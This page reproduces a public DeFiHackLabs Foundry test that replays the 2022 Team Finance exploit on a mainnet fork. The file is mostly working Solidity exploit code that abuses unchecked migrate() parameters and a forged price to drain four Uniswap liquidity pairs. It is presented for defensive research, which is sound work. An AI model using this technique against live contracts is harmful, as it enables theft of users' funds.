Public reproduction file
src/test/2022-10/TeamFinance_exp.sol
Public reproduction file for dataset entry Team Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1 // SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : Multiple Tokens ~$15.8M US$8// Root Cause : Lack of check function parameter legitimate9// Attacker : 0x161cebb807ac181d5303a4ccec2fc580cc5899fd10// Attack Contract : 0xcff07c4e6aa9e2fec04daaf5f41d1b10f3adadf411// Vulnerable Contract : https://etherscan.io/address/0x48d118c9185e4dbafe7f3813f8f29ec8a6248359#code#L153512// Attack Tx : https://etherscan.io/tx/0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce13// Pre-work1: lockToken()14// txId: https://etherscan.io/tx/0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f15// Pre-work2: extendLockDuration()16// id 15324: https://etherscan.io/tx/0x2972f75d5926f8f948ab6a0cabc517a05f0da5b53e20f670591afbaa501aa43617// id 15325: https://etherscan.io/tx/0xec75bb553f50af37f8dd8f4b1e2bfe4703b27f586187741b91db770ad9b230cb18// id 15326: https://etherscan.io/tx/0x79ec728612867b3d82c0e7401e6ee1c533b240720c749b3968dea1464e59b2c419// id 15327: https://etherscan.io/tx/0x51185fb580892706500d3b6eebb8698c27d900618021fb9b1797f4a774fffb0420//21// @Analysis22// Team Finance Official : https://twitter.com/TeamFinance_/status/158577091887354265623// PeckShield : https://twitter.com/peckshield/status/158558785897862349124// Solid Group : https://twitter.com/solid_group_1/status/158564324930551808325// Beiosin Alert : https://twitter.com/BeosinAlert/status/158557849912517836927CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);28address constant LockToken = 0xE2fE530C047f2d85298b07D9333C05737f1435fB;30// Token address31address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;32address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;33address constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;34address constant caw = 0xf3b9569F82B18aEf890De263B84189bd33EBe452;35address constant tsuka = 0xc5fB36dd2fb59d3B98dEfF88425a3F425Ee469eD;36address constant selfmadeToken = 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF;37// Create at https://etherscan.io/tx/0xa3cbbdd2494f6d5452de8edc5c8c32f316abc40140a63769a22e04cd2549963b39// Pair address40address constant FEG_WETH_UniV2Pair = 0x854373387E41371Ac6E307A1F29603c6Fa10D872;41address constant USDC_CAW_UniV2Pair = 0x7a809081f991eCfe0aB2727C7E90D2Ad7c2E411E;42address constant USDC_TSUKA_UniV2Pair = 0x67CeA36eEB36Ace126A3Ca6E21405258130CF33C;43address constant KNDX_WETH_UniV2Pair = 0x9267C29e4f517cE9f6d603a15B50Aa47cE32278D;45contract Attacker is Test {46 address[4] victims = [FEG_WETH_UniV2Pair, USDC_CAW_UniV2Pair, USDC_TSUKA_UniV2Pair, KNDX_WETH_UniV2Pair];47 uint256[4] migrateId; // Will fill those from preWork()48 uint160 constant newPriceX96 = 79_210_883_607_084_793_911_461_085_816;49 // equal tick: -5,50 // equal price: 0.99956386751 // Can calculate it from: https://github.com/stakewithus/notes/blob/main/notebook/uniswap-v3/tick-and-sqrt-price-x-96.ipynb52 // And here: https://www.geogebra.org/solver?i=79210883607084793911461085816%3Dsqrt(x)*2%5E(96)54 function setUp() public {55 cheat.createSelectFork("mainnet", 15_837_893);56 cheat.label(weth, "WETH");57 cheat.label(usdc, "USDC");58 cheat.label(dai, "DAI");59 cheat.label(caw, "CAW");60 cheat.label(tsuka, "TSUKA");61 cheat.label(FEG_WETH_UniV2Pair, "FEG/WETH Pair");62 cheat.label(USDC_CAW_UniV2Pair, "USDC/CAW Pair");63 cheat.label(USDC_TSUKA_UniV2Pair, "USDC/TSUKA Pair");64 cheat.label(KNDX_WETH_UniV2Pair, "KNDX/WETH Pair");65 preWorks();66 cheat.deal(address(this), 0); // set this balance is 0 to show effect67 }69 // function 0xe0cec5b070 function preWorks() public payable {71 uint256 _unlockTime = block.timestamp + 5;73 // txId: https://etherscan.io/tx/0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f74 // Lock 4000000000 selfmadeToken, return 4 new NFT ID75 for (uint256 i; i < 4; ++i) {76 uint256 nftId = ILockToken(LockToken).lockToken{value: 0.5 ether}(77 selfmadeToken, address(this), 1_000_000_000, _unlockTime, false78 );79 migrateId[i] = nftId;80 }82 // txId-1: https://etherscan.io/tx/0x2972f75d5926f8f948ab6a0cabc517a05f0da5b53e20f670591afbaa501aa43683 // txId-2: https://etherscan.io/tx/0xec75bb553f50af37f8dd8f4b1e2bfe4703b27f586187741b91db770ad9b230cb84 // txId-3: https://etherscan.io/tx/0x79ec728612867b3d82c0e7401e6ee1c533b240720c749b3968dea1464e59b2c485 // txId-4: https://etherscan.io/tx/0x51185fb580892706500d3b6eebb8698c27d900618021fb9b1797f4a774fffb0486 ILockToken(LockToken).extendLockDuration(migrateId[0], _unlockTime + 40_000);87 ILockToken(LockToken).extendLockDuration(migrateId[1], _unlockTime + 40_000);88 ILockToken(LockToken).extendLockDuration(migrateId[2], _unlockTime + 40_000);89 ILockToken(LockToken).extendLockDuration(migrateId[3], _unlockTime + 40_000);90 }92 function testExploit() public {93 IV3Migrator.MigrateParams memory parms;94 uint256 _liquidityToMigrate;96 emit log_named_decimal_uint("[Before] Attack Contract ETH balance", address(this).balance, 18);97 emit log_named_decimal_uint("[Before] Attack Contract DAI balance", IERC20(dai).balanceOf(address(this)), 18);98 emit log_named_decimal_uint("[Before] Attack Contract CAW balance", IERC20(caw).balanceOf(address(this)), 18);99 emit log_named_decimal_uint(100 "[Before] Attack Contract TSUKA balance", IERC20(tsuka).balanceOf(address(this)), 18101 );103 // The exploit code could be written like a for loop, but we keep it simple to let you could do some debugging here.104 // ==================== Migrate FEG_WETH_UniV2Pair to V3 ====================105 _liquidityToMigrate = IERC20(FEG_WETH_UniV2Pair).balanceOf(LockToken);106 parms = IV3Migrator.MigrateParams({107 pair: FEG_WETH_UniV2Pair,108 liquidityToMigrate: _liquidityToMigrate,109 percentageToMigrate: 1, // 1%110 token0: selfmadeToken,111 token1: weth,112 fee: 500,113 tickLower: -100,114 tickUpper: 100,115 amount0Min: 0,116 amount1Min: 0,117 recipient: address(this),118 deadline: block.timestamp,119 refundAsETH: true120 });122 ILockToken(LockToken).migrate(migrateId[0], parms, true, newPriceX96, false);124 //console.log("\t[DEBUG]After migrated FEG_WETH_UniV2Pair, Attack Contract ETH balance", address(this).balance);126 // ==================== Migrate USDC_CAW_UniV2Pair to V3 ====================127 _liquidityToMigrate = IERC20(USDC_CAW_UniV2Pair).balanceOf(LockToken);128 parms = IV3Migrator.MigrateParams({129 pair: USDC_CAW_UniV2Pair,130 liquidityToMigrate: _liquidityToMigrate,131 percentageToMigrate: 1,132 token0: usdc,133 token1: caw,134 fee: 500,135 tickLower: -100,136 tickUpper: 100,137 amount0Min: 0,138 amount1Min: 0,139 recipient: address(this),140 deadline: block.timestamp,141 refundAsETH: true142 });144 ILockToken(LockToken).migrate(migrateId[1], parms, true, newPriceX96, false);146 uint256 usdc_bal = IERC20(usdc).balanceOf(address(this));148 if (usdc_bal > 0) {149 swapUsdcToDai();150 }152 //console.log("\t[DEBUG]After migrated USDC_CAW_UniV2Pair, Attack Contract DAI balance", IERC20(dai).balanceOf(address(this)));153 //console.log("\t[DEBUG]After migrated USDC_CAW_UniV2Pair, Attack Contract CAW balance", IERC20(caw).balanceOf(address(this)));155 // ==================== Migrate USDC_TSUKA_UniV2Pair to V3 ====================156 _liquidityToMigrate = IERC20(USDC_TSUKA_UniV2Pair).balanceOf(LockToken);157 parms = IV3Migrator.MigrateParams({158 pair: USDC_TSUKA_UniV2Pair,159 liquidityToMigrate: _liquidityToMigrate,160 percentageToMigrate: 1,161 token0: usdc,162 token1: tsuka,163 fee: 500,164 tickLower: -100,165 tickUpper: 100,166 amount0Min: 0,167 amount1Min: 0,168 recipient: address(this),169 deadline: block.timestamp,170 refundAsETH: true171 });172 ILockToken(LockToken).migrate(migrateId[2], parms, true, newPriceX96, false);174 usdc_bal = IERC20(usdc).balanceOf(address(this));176 if (usdc_bal > 0) {177 swapUsdcToDai();178 }180 //console.log("\t[DEBUG]After migrated USDC_TSUKA_UniV2Pair, Attack Contract DAI balance", IERC20(dai).balanceOf(address(this)));181 //console.log("\t[DEBUG]After migrated USDC_TSUKA_UniV2Pair, Attack Contract TSUKA balance", IERC20(caw).balanceOf(address(this)));183 //// ==================== Migrate KNDX_WETH_UniV2Pair to V3 ====================184 _liquidityToMigrate = IERC20(KNDX_WETH_UniV2Pair).balanceOf(LockToken);185 parms = IV3Migrator.MigrateParams({186 pair: KNDX_WETH_UniV2Pair,187 liquidityToMigrate: _liquidityToMigrate,188 percentageToMigrate: 1,189 token0: selfmadeToken,190 token1: weth,191 fee: 500,192 tickLower: -100,193 tickUpper: 100,194 amount0Min: 0,195 amount1Min: 0,196 recipient: address(this),197 deadline: block.timestamp,198 refundAsETH: true199 });201 ILockToken(LockToken).migrate(migrateId[3], parms, true, newPriceX96, false);203 //console.log("\t[DEBUG] After migrated KNDX_WETH_UniV2Pair, Attack Contract ETH balance", address(this).balance);205 // ===========================================================================207 emit log_named_decimal_uint("[After] Attack Contract ETH balance", address(this).balance, 18);208 emit log_named_decimal_uint("[After] Attack Contract DAI balance", IERC20(dai).balanceOf(address(this)), 18);209 emit log_named_decimal_uint("[After] Attack Contract CAW balance", IERC20(caw).balanceOf(address(this)), 18);210 emit log_named_decimal_uint("[After] Attack Contract TSUKA balance", IERC20(tsuka).balanceOf(address(this)), 18);211 }213 // Function 0xf9b65204214 function swapUsdcToDai() private {215 address curve_3pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;216 uint256 usdc_bal = IERC20(usdc).balanceOf(address(this));217 uint256 min_dy = usdc_bal / 100 * 98;218 IERC20(usdc).approve(curve_3pool, type(uint256).max);219 ICurvePool(curve_3pool).exchange(1, 0, usdc_bal, min_dy);220 }222 receive() external payable {}223}225/* -------------------- Interface -------------------- */227interface IV3Migrator {228 struct MigrateParams {229 address pair; // the Uniswap v2-compatible pair230 uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)231 uint8 percentageToMigrate; // represented as a numerator over 100232 address token0;233 address token1;234 uint24 fee;235 int24 tickLower;236 int24 tickUpper;237 uint256 amount0Min; // must be discounted by percentageToMigrate238 uint256 amount1Min; // must be discounted by percentageToMigrate239 address recipient;240 uint256 deadline;241 bool refundAsETH;242 }243}245interface ILockToken {246 struct Items {247 address tokenAddress;248 address withdrawalAddress;249 uint256 tokenAmount;250 uint256 unlockTime;251 bool withdrawn;252 }254 function migrate(255 uint256 _id,256 IV3Migrator.MigrateParams calldata params,257 bool noLiquidity,258 uint160 sqrtPriceX96,259 bool _mintNFT260 ) external payable;262 //function lockedToken(uint256) external returns(Items memory);264 function lockToken(265 address _tokenAddress,266 address _withdrawalAddress,267 uint256 _amount,268 uint256 _unlockTime,269 bool _mintNFT270 ) external payable returns (uint256 _id);272 function extendLockDuration(uint256 _id, uint256 _unlockTime) external;273}Analysis
Dataset entry
Public Foundry test for “Team Finance” (2022-10-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
- src/test/2024-06/SteamSwap_exp.solSame protocol or name in the dataset · 77 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x161cebb807ac181d5303a4ccec2fc580cc5899fd
- Attack Contract
0xcff07c4e6aa9e2fec04daaf5f41d1b10f3adadf4
- Vulnerable Contract
0x48d118c9185e4dbafe7f3813f8f29ec8a6248359
- Attack Tx
0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce
- Explorer: https://etherscan.io/address/0x48d118c9185e4dbafe7f3813f8f29ec8a6248359#code#L1535
- Explorer: https://etherscan.io/tx/0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f
- Explorer: https://etherscan.io/tx/0x2972f75d5926f8f948ab6a0cabc517a05f0da5b53e20f670591afbaa501aa436
- Explorer: https://etherscan.io/tx/0xec75bb553f50af37f8dd8f4b1e2bfe4703b27f586187741b91db770ad9b230cb
- Explorer: https://etherscan.io/tx/0x79ec728612867b3d82c0e7401e6ee1c533b240720c749b3968dea1464e59b2c4
- Explorer: https://etherscan.io/tx/0x51185fb580892706500d3b6eebb8698c27d900618021fb9b1797f4a774fffb04
- Reference: https://twitter.com/TeamFinance_/status/1585770918873542656
- Reference: https://twitter.com/peckshield/status/1585587858978623491
- Reference: https://twitter.com/solid_group_1/status/1585643249305518083
- Reference: https://twitter.com/BeosinAlert/status/1585578499125178369
- Explorer: https://etherscan.io/tx/0xa3cbbdd2494f6d5452de8edc5c8c32f316abc40140a63769a22e04cd2549963b
File record
- Name
- Team Finance
- Path
- src/test/2022-10/TeamFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 41357f60613cc2746bd0cf13186dac8477998661
- Language
- Solidity
- Size
- 274 lines
- Date
- 2022-10-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/TeamFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 41357f60613cc2746bd0cf13186dac8477998661, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.